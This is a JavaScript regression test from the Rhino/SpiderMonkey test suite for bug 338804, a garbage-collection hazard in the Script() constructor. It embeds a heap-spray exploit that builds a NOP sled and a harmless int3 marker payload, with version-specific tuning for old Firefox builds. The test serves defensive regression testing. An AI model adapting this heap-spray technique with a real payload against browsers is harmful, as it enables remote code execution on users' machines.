Debian Codegraph @

rhino/testsrc/tests/js1_5/extensions/regress-338804-02.js

raw symbols SCIP
1 /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
2 /* This Source Code Form is subject to the terms of the Mozilla Public
3 * License, v. 2.0. If a copy of the MPL was not distributed with this
4 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
5
6 var gTestfile = 'regress-338804-02.js';
7 //-----------------------------------------------------------------------------
8 var BUGNUMBER = 338804;
9 var summary = 'GC hazards in constructor functions';
10 var actual = 'No Crash';
11 var expect = 'No Crash';
12
13 printBugNumber(BUGNUMBER);
14 printStatus (summary);
15 printStatus ('Uses Intel Assembly');
16
17 // <script>
18 // SpiderMonkey Script() GC hazard exploit
19 //
20 // scale: magic number ;-)
21 // BonEcho/2.0a2: 3000
22 // Firefox/1.5.0.4: 2000
23 //
24 var rooter, scale = 2000;
25
26 exploit();
27 /*
28 if(typeof(setTimeout) != "undefined") {
29 setTimeout(exploit, 2000);
30 } else {
31 exploit();
32 }
33 */
34
35 function exploit() {
36 if (typeof Script == 'undefined')
37 {
38 print('Test skipped. Script not defined.');
39 }
40 else
41 {
42 Script({ toString: fillHeap });
43 Script({ toString: fillHeap });
44 }
45 }
46
47 function createPayload() {
48 var result = "\u9090", i;
49 for(i = 0; i < 9; i++) {
50 result += result;
51 }
52 /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
53 result += "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
54 return result;
55 }
56
57 function fillHeap() {
58 rooter = [];
59 var payload = createPayload(), block = "", s2 = scale * 2, i;
60 for(i = 0; i < scale; i++) {
61 rooter[i] = block = block + payload;
62 }
63 for(; i < s2; i++) {
64 rooter[i] = payload + i;
65 }
66 return "";
67 }
68
69 // </script>
70
71 reportCompare(expect, actual, summary);